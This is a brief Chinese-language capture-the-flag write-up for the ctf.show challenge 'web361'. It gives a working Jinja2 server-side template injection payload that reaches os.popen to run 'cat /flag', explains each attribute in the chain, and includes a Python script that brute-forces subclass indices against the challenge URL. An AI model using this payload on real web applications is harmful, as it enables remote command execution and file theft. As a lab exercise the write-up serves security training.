web361

EXP

payload:

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

解析

‘’  :实例化了一个对象

__class__ :对象的类

__base__ :类对象的直接基类

__subclasses__ :这个类的子类集合,列表形式

__init__ :类的初始化方法

__globals__ :获取这个方法所处空间下可使用的module、方法以及所有变量

popen :os.popen 管道

read() :读取管道中的文本

查找subclasses基类用到的脚本

import requests, re
for i in range(0,400):
    r = requests.get("http://1efac99f-ad9f-4eae-8cbc-90c6516726b8.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+ str(i) +"]}}")
    if re.findall("os", r.text):
    	print(r.url)
        print(r.text, i)